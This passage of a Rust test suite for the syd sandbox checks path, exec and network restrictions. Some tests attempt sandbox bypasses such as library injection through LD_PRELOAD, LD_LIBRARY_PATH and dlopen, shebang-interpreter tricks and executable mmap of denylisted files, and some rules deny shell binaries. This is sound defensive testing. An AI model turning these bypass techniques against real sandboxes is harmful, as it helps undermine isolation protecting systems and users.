.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
// Tests if stat sandboxing for stat works to hide.
fn test_syd_chdir_sandbox_hide_1() -> TestResult {
skip_if_strace!();
skip_unless_available!("sh");
let status = syd()
.p("off")
.m("sandbox/chdir,stat:on")
.m("allow/chdir,stat+/***")
.m("deny/chdir,stat+/dev")
.argv(["sh", "-cx", "cd /dev || exit 42"])
.status()
.expect("execute syd");
assert_status_code!(status, 42);
Ok(())
}
// Tests if stat sandboxing for stat works to hide.
fn test_syd_chdir_sandbox_hide_2() -> TestResult {
skip_unless_trusted!();
skip_unless_available!("sh");
let status = syd()
.p("off")
.m("trace/allow_unsafe_ptrace:1")
.m("sandbox/chdir,stat:on")
.m("allow/chdir,stat+/***")
.m("deny/chdir,stat+/dev")
.argv(["sh", "-cx", "cd /dev || exit 42"])
.status()
.expect("execute syd");
assert_status_code!(status, 42);
Ok(())
}
// Check if chroot sandboxing works to allow.
fn test_syd_chroot_sandbox_allow_default() -> TestResult {
let status = syd()
.p("off")
.m("sandbox/chroot:on")
.m("allow/chroot+/***")
.m("deny/chroot+/proc/self/fdinfo")
.m("allow/chroot+/proc/self/fdinfo")
.do_("chroot", ["/proc/self/fdinfo"])
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
// Check if chroot sandboxing works to allow.
fn test_syd_chroot_sandbox_allow_unsafe() -> TestResult {
let status = syd()
.p("off")
.m("sandbox/chroot:on")
.m("trace/allow_unsafe_chroot:1")
.do_("chroot", ["/proc/self/fdinfo"])
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
// Check if chroot sandboxing works to deny.
fn test_syd_chroot_sandbox_deny() -> TestResult {
let status = syd()
.p("off")
.m("sandbox/chroot:on")
.m("allow/chroot+/***")
.m("deny/chroot+/proc/self/fdinfo")
.do_("chroot", ["/proc/self/fdinfo"])
.status()
.expect("execute syd");
assert_status_access_denied!(status);
Ok(())
}
// Check if chroot sandboxing works to hide.
fn test_syd_chroot_sandbox_hide() -> TestResult {
let status = syd()
.p("off")
.m("sandbox/chroot,stat:on")
.m("allow/chroot,stat+/***")
.m("deny/chroot,stat+/proc/self/fdinfo")
.do_("chroot", ["/proc/self/fdinfo"])
.status()
.expect("execute syd");
assert_status_hidden!(status);
Ok(())
}
// Check if pivot_root is denied with EPERM by default.
fn test_syd_pivot_root_default() -> TestResult {
let status = syd()
.p("off")
.do_("pivot_root", ["/", "/"])
.status()
.expect("execute syd");
assert_status_permission_denied!(status);
Ok(())
}
// Check if pivot_root is no-op with trace/allow_unsafe_pivot_root:1.
fn test_syd_pivot_root_unsafe() -> TestResult {
let status = syd()
.p("off")
.m("trace/allow_unsafe_pivot_root:1")
.do_("pivot_root", ["/", "/"])
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
// Tests if stat sandboxing for stat works to allow.
fn test_syd_stat_sandbox_stat_allow() -> TestResult {
skip_unless_available!("ls");
let status = syd()
.p("off")
.m("sandbox/stat:on")
.m("allow/stat+/***")
.m("deny/stat+/dev/null")
.m("allow/stat+/dev/null")
.argv(["ls", "/dev/null"])
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
// Tests if stat sandboxing for stat works to hide.
fn test_syd_stat_sandbox_stat_hide() -> TestResult {
skip_unless_available!("ls");
let status = syd()
.p("off")
.m("sandbox/stat:on")
.m("allow/stat+/***")
.m("deny/stat+/dev/null")
.argv(["ls", "/dev/null"])
.status()
.expect("execute syd");
assert_status_not_ok!(status);
Ok(())
}
// Tests if stat sandboxing for getdents works to allow.
fn test_syd_readdir_sandbox_getdents_allow() -> TestResult {
skip_unless_available!("ls");
let output = syd()
.p("off")
.m("sandbox/lpath:on")
.m("allow/lpath+/***")
.m("deny/lpath+/dev/zero")
.m("allow/lpath+/dev/zero")
.argv(["ls", "/dev"])
.output()
.expect("execute syd");
assert!(
output
.stdout
.windows(b"zero".len())
.any(|window| window == b"zero"),
"Stdout:\n{:?}",
output.stdout
);
Ok(())
}
// Tests if stat sandboxing for getdents works to hide.
fn test_syd_readdir_sandbox_getdents_hide() -> TestResult {
skip_unless_available!("ls");
let output = syd()
.p("off")
.m("sandbox/lpath:on")
.m("allow/lpath+/***")
.m("deny/lpath+/dev/zero")
.argv(["ls", "/dev"])
.output()
.expect("execute syd");
assert!(
output
.stdout
.windows(b"zero".len())
.any(|window| window != b"zero"),
"Stdout:{:?}",
output.stdout
);
Ok(())
}
// Tests if stat sandboxing can be bypassed by read attempt
fn test_syd_stat_bypass_with_read() -> TestResult {
let status = syd()
.p("off")
.m("sandbox/read,stat:on")
.m("allow/read,stat+/***")
.m("deny/read,stat+/etc/***")
.m("allow/read,stat+/etc/ld*/***")
.do_("stat_bypass_with_read", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
// Tests if stat sandboxing can be bypassed by write attempt
fn test_syd_stat_bypass_with_write() -> TestResult {
let status = syd()
.p("off")
.m("sandbox/stat,write,create:on")
.m("allow/stat,write,create+/***")
.m("deny/stat,write,create+/etc/***")
.m("allow/stat+/etc/ld*/***")
.do_("stat_bypass_with_write", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
// Tests if stat sandboxing can be bypassed by exec attempt
fn test_syd_stat_bypass_with_exec() -> TestResult {
let status = syd()
.p("off")
.m("sandbox/exec,stat:on")
.m("allow/exec,stat+/***")
.m("deny/exec,stat+/**/z?sh")
.m("deny/exec,stat+/**/[bd]ash")
.m("deny/exec,stat+/**/busybox")
.do_("stat_bypass_with_exec", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
// Tests if write sandboxing for open works to allow.
fn test_syd_write_sandbox_open_allow() -> TestResult {
skip_unless_available!("sh");
let status = syd()
.p("off")
.m("sandbox/write:on")
.m("allow/write+/dev/***") // may need TTY!
.m("deny/write+/dev/null")
.m("allow/write+/dev/null")
.argv(["sh", "-cex", "echo welcome to the machine >> /dev/null"])
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
// Tests if write sandboxing for open works to deny.
fn test_syd_write_sandbox_open_deny() -> TestResult {
skip_unless_available!("sh");
let status = syd()
.p("off")
.m("sandbox/write:on")
.m("allow/write+/***")
.m("deny/write+/dev/null")
.argv(["sh", "-cex", "echo welcome to the machine >> /dev/null"])
.status()
.expect("execute syd");
assert_status_not_ok!(status);
Ok(())
}
// Tests if exec sandboxing works to allow.
fn test_syd_exec_sandbox_open_allow() -> TestResult {
skip_unless_available!("true");
let bin = which("true")?;
let status = syd()
.p("off")
.m("sandbox/exec:on")
.m("deny/exec+/***")
.m("allow/exec+/**/*.so*")
.m(format!("allow/exec+{bin}"))
.arg("-atrue") // this may be busybox
.argv([
&bin.to_string(),
])
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
// Tests if exec sandboxing works to deny.
fn test_syd_exec_sandbox_open_deny() -> TestResult {
skip_unless_available!("true");
let bin = which("true")?;
let status = syd()
.p("off")
.m("sandbox/exec:on")
.m("allow/exec+/***")
.m(format!("deny/exec+{bin}"))
.arg("-atrue") // this may be busybox
.argv([
&bin.to_string(),
])
.status()
.expect("execute syd");
assert_status_not_ok!(status);
Ok(())
}
// Check if #! interpreter path of scripts are properly sandboxed.
fn test_syd_exec_sandbox_deny_binfmt_script() -> TestResult {
skip_if_strace!();
skip_unless_available!("sh");
// Write script.
let path = "./script.sh";
let script = r#"#!/bin/sh -ex
exit 42
"#;
let mut file = File::create(path)?;
write!(file, "{script}")?;
drop(file); // Close the file to avoid ETXTBUSY.
syd::fs::chmod_x(path).expect("Failed to make file executable");
// Step 1: Allow both the interpreter and the script.
let status = syd()
.p("off")
.m("sandbox/exec:on")
.m("allow/exec+/***")
.argv(["./script.sh"])
.status()
.expect("execute syd");
assert_status_code!(status, 42);
// Step 2: Allow the interpreter but disable the script.
// 2.1: EACCES with stat sandboxing off.
let status = syd()
.p("off")
.m("sandbox/exec:on")
.m("allow/exec+/***")
.m("deny/exec+/**/script.sh")
.argv(["./script.sh"])
.status()
.expect("execute syd");
assert_status_access_denied!(status);
// 2.2: ENOENT with stat sandboxing on.
let status = syd()
.p("off")
.m("sandbox/exec,stat:on")
.m("allow/exec+/***")
.m("deny/exec+/**/script.sh")
.argv(["./script.sh"])
.status()
.expect("execute syd");
assert_status_hidden!(status);
// 2.3: EACCES when file is not hidden.
let status = syd()
.p("off")
.m("sandbox/exec,stat:on")
.m("allow/exec,stat+/***")
.m("deny/exec+/**/script.sh")
.argv(["./script.sh"])
.status()
.expect("execute syd");
assert_status_access_denied!(status);
// Step 3: Allow the script but disable the interpreter.
let status = syd()
.p("off")
.m("sandbox/exec:on")
.m("deny/exec+/***")
.m("allow/exec+/**/*.so*")
.m("allow/exec+/**/script.sh")
.argv(["./script.sh"])
.status()
.expect("execute syd");
assert_status_killed!(status);
Ok(())
}
// Check if a script which has an interpreter that itself is a script is properly sandboxed.
fn test_syd_exec_sandbox_many_binfmt_script() -> TestResult {
skip_if_strace!();
skip_unless_available!("sh");
// Write script1 whose interpreter points to script2.
let path1 = "./script1.sh";
let script1 = r#"#!./script2.sh
"#;
let mut file1 = File::create(path1)?;
write!(file1, "{script1}")?;
// Write script2 whole interpreter points to /bin/sh.
let path2 = "./script2.sh";
let script2 = r#"#!/bin/sh -ex
exit 42
"#;
let mut file2 = File::create(path2)?;
write!(file2, "{script2}")?;
// Close the files to avoid ETXTBUSY.
drop(file1);
drop(file2);
// Set permissions to make the scripts executable.
for path in [path1, path2] {
syd::fs::chmod_x(path).expect("Failed to set file executable");
}
// Step 1: Allow both the interpreter and the script.
let status = syd()
.p("off")
.m("sandbox/exec:on")
.m("allow/exec+/***")
.argv(["./script1.sh"])
.status()
.expect("execute syd");
assert_status_code!(status, 42);
// Step 2: Allow the scripts but disable the interpreter.
// This will slip through the seccomp sandbox
// but it's caught by the exec-TOCTOU mitigator.
let status = syd()
.p("off")
.m("sandbox/exec:on")
.m("deny/exec+/***")
.m("allow/exec+/**/*.so*")
.m("allow/exec+/**/script[1-2].sh")
.argv(["./script1.sh"])
.status()
.expect("execute syd");
assert_status_killed!(status);
// Step 3: Allow the interpreter but disable the script2.
let status = syd()
.p("off")
.m("sandbox/exec:on")
.m("allow/exec+/***")
.m("deny/exec+/**/script2.sh")
.argv(["./script1.sh"])
.status()
.expect("execute syd");
fixup!(status.code().unwrap_or(127) == EACCES, "status:{status:?}");
Ok(())
}
// Check mmap with MAP_PRIVATE|PROT_EXEC on denylisted file is enforced.
// Version 1: Without append-only paths.
fn test_syd_exec_sandbox_mmap_exec_private_1() -> TestResult {
skip_if_32bin_64host!();
skip_unless_available!("cc");
let code = r#"
#include <sys/mman.h>
#include <sys/stat.h>
#include <errno.h>
#include <fcntl.h>
#include <unistd.h>
int main(void) {
int fdw = open("badfile.so", O_CREAT|O_TRUNC|O_WRONLY, 0700);
if (fdw < 0) return errno;
if (ftruncate(fdw, 4096) != 0) return errno;
close(fdw);
int fd = open("badfile.so", O_RDONLY);
if (fd < 0) return errno;
void *p = mmap(NULL, 4096, PROT_READ|PROT_EXEC, MAP_PRIVATE, fd, 0);
if (p == MAP_FAILED) return errno;
((volatile char*)p)[0];
munmap(p, 4096);
close(fd);
return 0;
}
"#;
std::fs::write("map_exec.c", code).expect("write map_exec.c");
let ok = Command::new("cc")
.args(["-Wall", "-Wextra", "-O2", "-o", "map_exec", "map_exec.c"])
.status()
.expect("spawn cc")
.success();
if !ok {
env::set_var("SYD_TEST_SOFT_FAIL", "1");
return Ok(());
}
let status = syd()
.p("off")
.m("sandbox/exec:on")
.m("allow/exec+/***")
.m("deny/exec+/**/badfile.so")
.argv(["./map_exec"])
.status()
.expect("execute syd");
assert_status_access_denied!(status);
Ok(())
}
// Check mmap with MAP_PRIVATE|PROT_EXEC on denylisted file is enforced.
// Version 2: With append-only paths.
fn test_syd_exec_sandbox_mmap_exec_private_2() -> TestResult {
skip_if_32bin_64host!();
skip_unless_available!("cc");
let code = r#"
#include <sys/mman.h>
#include <sys/stat.h>
#include <errno.h>
#include <fcntl.h>
#include <unistd.h>
int main(void) {
int fdw = open("badfile.so", O_CREAT|O_TRUNC|O_WRONLY, 0700);
if (fdw < 0) return errno;
if (ftruncate(fdw, 4096) != 0) return errno;
close(fdw);
int fd = open("badfile.so", O_RDONLY);
if (fd < 0) return errno;
void *p = mmap(NULL, 4096, PROT_READ|PROT_EXEC, MAP_PRIVATE, fd, 0);
if (p == MAP_FAILED) return errno;
((volatile char*)p)[0];
munmap(p, 4096);
close(fd);
return 0;
}
"#;
std::fs::write("map_exec.c", code).expect("write map_exec.c");
let ok = Command::new("cc")
.args(["-Wall", "-Wextra", "-O2", "-o", "map_exec", "map_exec.c"])
.status()
.expect("spawn cc")
.success();
if !ok {
env::set_var("SYD_TEST_SOFT_FAIL", "1");
return Ok(());
}
let status = syd()
.p("off")
.m("sandbox/exec:on")
.m("append+/dev/zero")
.m("allow/exec+/***")
.m("deny/exec+/**/badfile.so")
.argv(["./map_exec"])
.status()
.expect("execute syd");
assert_status_access_denied!(status);
Ok(())
}
// Check mmap with MAP_SHARED|PROT_READ|PROT_WRITE on file is not blocked.
// Version 1: Without append-only paths.
fn test_syd_exec_sandbox_mmap_shared_nonexec_1() -> TestResult {
skip_if_32bin_64host!();
skip_unless_available!("cc");
let code = r#"
#include <sys/mman.h>
#include <sys/stat.h>
#include <errno.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
int main(void) {
int fd = open("shared.txt", O_CREAT|O_RDWR, 0600);
if (fd < 0) return errno;
if (ftruncate(fd, 4096) != 0) return errno;
void *p = mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);
if (p == MAP_FAILED) return errno;
strcpy((char*)p, "hello\n");
msync(p, 4096, MS_SYNC);
munmap(p, 4096);
close(fd);
return 0;
}
"#;
std::fs::write("map_shared.c", code).expect("write map_shared.c");
let ok = Command::new("cc")
.args([
"-Wall",
"-Wextra",
"-O2",
"-o",
"map_shared",
"map_shared.c",
])
.status()
.expect("spawn cc")
.success();
if !ok {
env::set_var("SYD_TEST_SOFT_FAIL", "1");
return Ok(());
}
let status = syd()
.p("off")
.m("sandbox/exec:on")
.m("allow/exec+/***")
.argv(["./map_shared"])
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
// Check mmap with MAP_SHARED|PROT_READ|PROT_WRITE on file is not blocked.
// Version 2: With append-only paths.
fn test_syd_exec_sandbox_mmap_shared_nonexec_2() -> TestResult {
skip_if_32bin_64host!();
skip_unless_available!("cc");
let code = r#"
#include <sys/mman.h>
#include <sys/stat.h>
#include <errno.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
int main(void) {
int fd = open("shared.txt", O_CREAT|O_RDWR, 0600);
if (fd < 0) return errno;
if (ftruncate(fd, 4096) != 0) return errno;
void *p = mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);
if (p == MAP_FAILED) return errno;
strcpy((char*)p, "hello\n");
msync(p, 4096, MS_SYNC);
munmap(p, 4096);
close(fd);
return 0;
}
"#;
std::fs::write("map_shared.c", code).expect("write map_shared.c");
let ok = Command::new("cc")
.args([
"-Wall",
"-Wextra",
"-O2",
"-o",
"map_shared",
"map_shared.c",
])
.status()
.expect("spawn cc")
.success();
if !ok {
env::set_var("SYD_TEST_SOFT_FAIL", "1");
return Ok(());
}
let status = syd()
.p("off")
.m("sandbox/exec:on")
.m("append+/dev/zero")
.m("allow/exec+/***")
.argv(["./map_shared"])
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
// Check if a denylisted library can be injected using dlopen().
fn test_syd_exec_sandbox_prevent_library_injection_dlopen_bare() -> TestResult {
skip_if_32bin_64host!();
skip_unless_available!("cc", "python3");
// trace/allow_unsafe_exec_memory:1 avoids SIGSYS.
let status = syd()
.p("off")
.m("trace/allow_unsafe_exec_memory:1")
.m("sandbox/exec:on")
.m("allow/exec+/***")
.m("deny/exec+/**/lib-bad/*.so")
.argv(["python3", "-c"])
.arg(
r##"
import ctypes, os, shutil, subprocess, sys
if os.path.exists("test.c"):
os.remove("test.c")
if os.path.exists("lib-bad"):
shutil.rmtree("lib-bad")
CODE = "int test() { return 0; }"
COMP = ["cc", "-Wall", "-Wextra", "-shared", "-o", "./lib-bad/libtest.so", "-fPIC", "test.c"]
try:
with open("test.c", "w") as f:
f.write(CODE)
os.mkdir("lib-bad", 0o700)
subprocess.run(COMP, check=True)
except Exception as e:
sys.stderr.write("Exception during compile: %r\n" % e)
sys.exit(128)
try:
libtest = ctypes.CDLL('./lib-bad/libtest.so')
except OSError as e:
# XXX: ctypes does not set errno!
# e.errno and e.strerror are 0 and None respectively.
# and the str(e) can be "permission denied" or
# "failed to map" so it's not reliably either.
sys.stderr.write("Exception during dlopen: %r\n" % e)
sys.exit(13)
else:
sys.exit(libtest.test())
"##,
)
.status()
.expect("execute syd");
let code = status.code().unwrap_or(127);
assert!(
code == EACCES || code == 128,
"code:{code} status:{status:?}"
);
if code == 128 {
// Compilation failed, test skipped.
env::set_var("SYD_TEST_SOFT_FAIL", "1");
}
Ok(())
}
// Check if a denylisted library can be injected using dlopen().
fn test_syd_exec_sandbox_prevent_library_injection_dlopen_wrap() -> TestResult {
skip_if_32bin_64host!();
skip_unless_unshare!("user", "mount", "pid");
skip_unless_available!("cc", "python3");
// trace/allow_unsafe_exec_memory:1 avoids SIGSYS.
let status = syd()
.p("off")
.m("trace/allow_unsafe_exec_memory:1")
.m("unshare/user,pid:1")
.m("sandbox/exec:on")
.m("allow/exec+/***")
.m("deny/exec+/**/lib-bad/*.so")
.argv(["python3", "-c"])
.arg(
r##"
import ctypes, os, shutil, subprocess, sys
if os.path.exists("test.c"):
os.remove("test.c")
if os.path.exists("lib-bad"):
shutil.rmtree("lib-bad")
CODE = "int test() { return 0; }"
COMP = ["cc", "-Wall", "-Wextra", "-shared", "-o", "./lib-bad/libtest.so", "-fPIC", "test.c"]
try:
with open("test.c", "w") as f:
f.write(CODE)
os.mkdir("lib-bad", 0o700)
subprocess.run(COMP, check=True)
except Exception as e:
sys.stderr.write("Exception during compile: %r\n" % e)
sys.exit(128)
try:
libtest = ctypes.CDLL('./lib-bad/libtest.so')
except OSError as e:
# XXX: ctypes does not set errno!
# e.errno and e.strerror are 0 and None respectively.
# and the str(e) can be "permission denied" or
# "failed to map" so it's not reliably either.
sys.stderr.write("Exception during dlopen: %r\n" % e)
sys.exit(13)
else:
sys.exit(libtest.test())
"##,
)
.status()
.expect("execute syd");
let code = status.code().unwrap_or(127);
assert!(
code == EACCES || code == 128,
"code:{code} status:{status:?}"
);
if code == 128 {
// Compilation failed, test skipped.
env::set_var("SYD_TEST_SOFT_FAIL", "1");
}
Ok(())
}
// Check if a denylisted library can be injected using LD_LIBRARY_PATH.
// Note the seccomp sandbox is not able to catch this.
// This is prevented by the TOCTOU-mitigator on exec(2) exit.
// Note, AT_SECURE mitigation is another defense against this,
// that is why we disable it with trace/allow_unsafe_exec_:libc:1
// during this test.
fn test_syd_exec_sandbox_prevent_library_injection_LD_LIBRARY_PATH() -> TestResult {
skip_if_strace!();
skip_if_32bin_64host!();
skip_unless_available!("cc", "sh");
let status = syd()
.env("LD_TRACE_LOADED_OBJECTS", "YesPlease")
.env("LD_VERBOSE", "YesPlease")
.p("off")
.m("trace/allow_unsafe_exec_libc:1")
.m("sandbox/exec:on")
.m("allow/exec+/***")
.m("deny/exec+/**/lib-bad/*.so")
.argv(["sh", "-cex"])
.arg(
r##"
# Ensure syd's CWD does not match our CWD
mkdir -m700 -p foo
cd foo
cat > lib-good.c <<EOF
int func(void) { return 0; }
EOF
cat > lib-bad.c <<EOF
int func(void) { return 42; }
EOF
cat > bin.c <<EOF
extern int func(void);
int main(void) { return func(); }
EOF
mkdir -m700 -p lib-good lib-bad
cc -Wall -Wextra lib-good.c -shared -o lib-good/libext.so -fPIC
cc -Wall -Wextra lib-bad.c -shared -o lib-bad/libext.so -fPIC
cc -Wall -Wextra bin.c -L./lib-good -lext -obin
r=0
env LD_LIBRARY_PATH="./lib-good:$LD_LIBRARY_PATH" ./bin || r=$?
echo >&2 "Good returned: $r"
test $r -eq 0
r=0
env LD_LIBRARY_PATH="./lib-bad:$LD_LIBRARY_PATH" ./bin || r=$?
echo >&2 "Bad returned: $r"
if test $r -eq 42; then
echo >&2 "Library injection succeeded!"
false
else
echo >&2 "Library injection failed!"
true
fi
"##,
)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
// Check if a denylisted library can be injected using LD_PRELOAD.
fn test_syd_exec_sandbox_prevent_library_injection_LD_PRELOAD_safe() -> TestResult {
skip_if_32bin_64host!();
skip_unless_available!("cc", "sh");
let status = syd()
.env("LD_TRACE_LOADED_OBJECTS", "YesPlease")
.env("LD_VERBOSE", "YesPlease")
.p("off")
.m("trace/allow_unsafe_exec_libc:1")
.m("sandbox/exec:on")
.m("allow/exec+/***")
.m("deny/exec+/**/lib-bad/*.so")
.argv(["sh", "-cex"])
.arg(
r##"
# Ensure syd's CWD does not match our CWD
mkdir -m700 -p foo
cd foo
cat > lib-good.c <<EOF
#include <sys/types.h>
pid_t getpid(void) { return 0; }
EOF
cat > lib-bad.c <<EOF
#include <sys/types.h>
pid_t getpid(void) { return 1; }
EOF
cat > bin.c <<EOF
#include <sys/syscall.h>
#include <sys/types.h>
#include <stdio.h>
#include <unistd.h>
int main(void) {
pid_t p_real = syscall(SYS_getpid);
pid_t p_test = getpid();
if (!p_test) {
puts("Good library injected!");
return 0;
} else if (p_test == p_real) {
puts("No library injected!");
return 0;
} else {
puts("Bad library injected!");
return p_test;
}
}
EOF
mkdir -m700 -p lib-good lib-bad
cc -Wall -Wextra lib-good.c -shared -o lib-good/libext.so -fPIC
cc -Wall -Wextra lib-bad.c -shared -o lib-bad/libext.so -fPIC
cc -Wall -Wextra bin.c -obin
chmod +x bin
r=0
env LD_PRELOAD="./lib-good/libext.so" ./bin || r=$?
echo >&2 "Good returned: $r"
test $r -eq 0
r=0
env LD_PRELOAD="./lib-bad/libext.so" ./bin || r=$?
echo >&2 "Bad returned: $r"
if test $r -ne 0; then
echo >&2 "Library injection succeeded!"
false
else
echo >&2 "Library injection failed!"
fi
r=0
env LD_PRELOAD="foo bar baz ./lib-bad/libext.so" ./bin || r=$?
echo >&2 "Bad returned: $r"
if test $r -ne 0; then
echo >&2 "Library injection succeeded!"
false
else
echo >&2 "Library injection failed!"
true
fi
r=0
env LD_PRELOAD="foo:bar:baz:./lib-bad/libext.so:a:b:c" ./bin || r=$?
echo >&2 "Bad returned: $r"
if test $r -ne 0; then
echo >&2 "Library injection succeeded!"
false
else
echo >&2 "Library injection failed!"
true
fi
"##,
)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
// Check if a denylisted library can be injected using LD_PRELOAD.
fn test_syd_exec_sandbox_prevent_library_injection_LD_PRELOAD_unsafe() -> TestResult {
skip_if_32bin_64host!();
skip_unless_available!("cc", "sh");
let status = syd()
.env("LD_TRACE_LOADED_OBJECTS", "YesPlease")
.env("LD_VERBOSE", "YesPlease")
.p("off")
.m("trace/allow_unsafe_exec_libc:1")
.argv(["sh", "-cex"])
.arg(
r##"
# Ensure syd's CWD does not match our CWD
mkdir -m700 -p foo
cd foo
cat > lib-good.c <<EOF
#include <sys/types.h>
pid_t getpid(void) { return 0; }
EOF
cat > lib-bad.c <<EOF
#include <sys/types.h>
pid_t getpid(void) { return 1; }
EOF
cat > bin.c <<EOF
#include <sys/syscall.h>
#include <sys/types.h>
#include <stdio.h>
#include <unistd.h>
int main(void) {
pid_t p_real = syscall(SYS_getpid);
pid_t p_test = getpid();
if (!p_test) {
puts("Good library injected!");
return 0;
} else if (p_test == p_real) {
puts("No library injected!");
return 0;
} else {
puts("Bad library injected!");
return p_test;
}
}
EOF
mkdir -m700 -p lib-good lib-bad
cc -Wall -Wextra lib-good.c -shared -o lib-good/libext.so -fPIC
cc -Wall -Wextra lib-bad.c -shared -o lib-bad/libext.so -fPIC
cc -Wall -Wextra bin.c -obin
r=0
env LD_PRELOAD="./lib-good/libext.so" ./bin || r=$?
echo >&2 "Good returned: $r"
test $r -eq 0
r=0
env LD_PRELOAD="./lib-bad/libext.so" ./bin || r=$?
echo >&2 "Bad returned: $r"
test $r -ne 0
r=0
env LD_PRELOAD="foo bar baz ./lib-bad/libext.so" ./bin || r=$?
echo >&2 "Bad returned: $r"
test $r -ne 0
r=0
env LD_PRELOAD="foo:bar:baz:./lib-bad/libext.so:a:b:c" ./bin || r=$?
echo >&2 "Bad returned: $r"
test $r -ne 0
"##,
)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
// Tests if network connect sandboxing works with accept() & IPv4.
fn test_syd_network_sandbox_accept_ipv4() -> TestResult {
// test -s is bash, not sh!
skip_unless_available!("bash", "shuf", "socat");
let status = syd()
.p("off")
.m("lock:exec")
.m("sandbox/net/connect:on")
.arg("bash")
.arg("-cex")
.arg(
r##"
test -c '/dev/syd/sandbox/net/connect?'
test -c '/dev/syd/block+127.0.0.1'
set +x
p=`shuf -n1 -i31415-65535`
test -n "$SYD_TEST_ACCEPT_PORT" || SYD_TEST_ACCEPT_PORT=$p
echo >&2 "[*] Using port $SYD_TEST_ACCEPT_PORT on localhost, use SYD_TEST_ACCEPT_PORT to override."
echo 'Change return success. Going and coming without error. Action brings good fortune.' > chk
:>log
echo >&2 "[*] Spawning socat to listen on 127.0.0.1!$SYD_TEST_ACCEPT_PORT in the background."
set -x
socat -u -d -d FILE:chk TCP4-LISTEN:$SYD_TEST_ACCEPT_PORT,bind=127.0.0.1,forever 2>log &
set +x
p=$!
echo >&2 "[*] Waiting for background socat to start listening."
while ! grep -q listening log; do :; done
echo >&2 "[*] Connect attempt 1: expecting fail..."
set -x
socat -u TCP4:127.0.0.1:$SYD_TEST_ACCEPT_PORT OPEN:msg,wronly,creat,excl || true
test -s msg && exit 127
set +x
rm -f msg
echo >&2 "[*] Allowlisting 127.0.0.1!1024-65535 for accept."
set -x
test -c '/dev/syd/block-127.0.0.1'
test -c '/dev/syd/warn/net/connect+127.0.0.1!1024-65535'
set +x
echo >&2 "[*] Connect attempt 2: expecting success..."
set -x
socat -u TCP4:127.0.0.1:$SYD_TEST_ACCEPT_PORT,forever OPEN:msg,wronly,creat,excl
wait $p
tail >&2 log
diff -u chk msg
"##,
)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
// Tests if network connect sandboxing works with accept() & IPv6.
fn test_syd_network_sandbox_accept_ipv6() -> TestResult {
// test -s is bash, not sh!
skip_unless_available!("bash", "shuf", "socat");
let status = syd()
.p("off")
.m("lock:exec")
.m("sandbox/net/connect:on")
.arg("bash")
.arg("-cex")
.arg(
r##"
test -c '/dev/syd/sandbox/net/connect?'
test -c '/dev/syd/block+::1'
set +x
p=`shuf -n1 -i31415-65535`
test -n "$SYD_TEST_ACCEPT_PORT" || SYD_TEST_ACCEPT_PORT=$p
echo >&2 "[*] Using port $SYD_TEST_ACCEPT_PORT on localhost, use SYD_TEST_ACCEPT_PORT to override."
echo 'Change return success. Going and coming without error. Action brings good fortune.' > chk
:>log
echo >&2 "[*] Spawning socat to listen on ::1!$SYD_TEST_ACCEPT_PORT in the background."
set -x
socat -u -d -d FILE:chk TCP6-LISTEN:$SYD_TEST_ACCEPT_PORT,bind=[::1],forever,ipv6only 2>log &
set +x
p=$!
echo >&2 "[*] Waiting for background socat to start listening."
while ! grep -q listening log; do :; done
echo >&2 "[*] Connect attempt 1: expecting fail..."
set -x
socat -u TCP6:[::1]:$SYD_TEST_ACCEPT_PORT OPEN:msg,wronly,creat,excl || true
test -s msg && exit 127
set +x
rm -f msg
echo >&2 "[*] Allowlisting ::1!1024-65535 for accept."
set -x
test -c '/dev/syd/block-::1'
test -c '/dev/syd/warn/net/connect+::1!1024-65535'
set +x
echo >&2 "[*] Connect attempt 2: expecting success..."
set -x
socat -u TCP6:[::1]:$SYD_TEST_ACCEPT_PORT,forever OPEN:msg,wronly,creat,excl
wait $p
tail >&2 log
diff -u chk msg
"##,
)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
// Tests if network connect sandboxing works to allow.
fn test_syd_network_sandbox_connect_ipv4_allow() -> TestResult {
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("allow/exec,read,stat,walk+/***")
.m("trace/allow_safe_bind:0")
.m("allow/net/bind+127.0.0.1!4242")
.m("allow/net/connect+127.0.0.1!4242")
.do_("connect4", ["127.0.0.1", "4242"])
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
// Tests if network connect sandboxing works to deny.
fn test_syd_network_sandbox_connect_ipv4_deny() -> TestResult {
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("allow/exec,read,stat,walk+/***")
.m("trace/allow_safe_bind:0")
.m("allow/net/bind+127.0.0.1!4242")
.m("deny/net/connect+127.0.0.1!4242")
.do_("connect4", ["127.0.0.1", "4242"])
.status()
.expect("execute syd");
assert_status_connection_refused!(status);
Ok(())
}
// Tests if network connect sandboxing works to allow.
fn test_syd_network_sandbox_connect_ipv6_allow() -> TestResult {
skip_unless_ipv6!();
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("allow/exec,read,stat,walk+/***")
.m("trace/allow_safe_bind:0")
.m("allow/net/bind+::1!4242")
.m("allow/net/connect+::1!4242")
.do_("connect6", ["::1", "4242"])
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
// Tests if network connect sandboxing works to deny.
fn test_syd_network_sandbox_connect_ipv6_deny() -> TestResult {
skip_unless_ipv6!();
let status = syd()
.p("fs")
.m("sandbox/lock:off")
